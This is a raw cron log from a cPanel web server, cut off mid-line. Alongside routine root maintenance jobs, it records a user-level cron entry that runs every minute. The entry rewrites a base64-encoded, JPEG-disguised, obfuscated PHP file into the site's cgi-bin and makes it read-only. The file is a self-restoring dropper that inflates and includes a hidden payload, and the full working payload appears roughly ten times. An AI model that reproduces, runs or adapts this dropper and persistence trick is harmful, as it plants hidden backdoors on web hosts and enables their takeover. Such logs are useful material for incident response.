Sep 12 02:44:01 server CROND[10750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:44:01 server CROND[10752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:44:01 server CROND[10751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:45:01 server CROND[11138]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:45:01 server CROND[11139]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 02:45:01 server CROND[11141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:45:01 server CROND[11143]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:45:01 server CROND[11142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:45:01 server CROND[11145]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 02:45:01 server CROND[11144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:45:01 server CROND[11144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:46:02 server CROND[12062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:46:02 server CROND[12063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:46:02 server CROND[12064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:47:01 server CROND[12449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:47:01 server CROND[12448]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Sep 12 02:47:01 server CROND[12454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:47:01 server CROND[12453]: (root) CMD (  bash -c 'sleep $((RANDOM % 1800))'; /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/imunify-check-pkg-integrity >/dev/null 2>&1)
Sep 12 02:47:01 server CROND[12456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:47:44 server crontab[12869]: (root) LIST (root)
Sep 12 02:47:44 server crontab[12871]: (root) LIST (root)
Sep 12 02:47:49 server crontab[13023]: (root) LIST (root)
Sep 12 02:48:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep 12 02:48:01 server crond[1999]: (bespokeapps) ORPHAN (no passwd entry)
Sep 12 02:48:01 server crond[1999]: (massivedesign) WRONG FILE OWNER (/var/spool/cron/massivedesign)
Sep 12 02:48:01 server CROND[13183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:48:01 server CROND[13185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:48:01 server CROND[13184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:49:01 server CROND[14179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:49:01 server CROND[14180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:49:01 server CROND[14181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:50:01 server CROND[14714]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 02:50:01 server CROND[14716]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 02:50:01 server CROND[14715]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 02:50:01 server CROND[14717]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:50:01 server CROND[14719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:50:01 server CROND[14721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:50:01 server CROND[14718]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 02:50:01 server CROND[14724]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:50:01 server CROND[14723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:51:01 server CROND[15652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:51:01 server CROND[15653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:51:01 server CROND[15655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:52:01 server CROND[16037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:52:01 server CROND[16038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:52:01 server CROND[16039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:53:01 server CROND[16425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:53:01 server CROND[16426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:53:01 server CROND[16427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:54:01 server CROND[16802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:54:01 server CROND[16803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:54:01 server CROND[16804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:55:01 server CROND[17178]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 02:55:01 server CROND[17179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:55:01 server CROND[17180]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:55:01 server CROND[17182]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:55:01 server CROND[17183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:55:01 server CROND[17188]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 02:55:01 server CROND[17189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 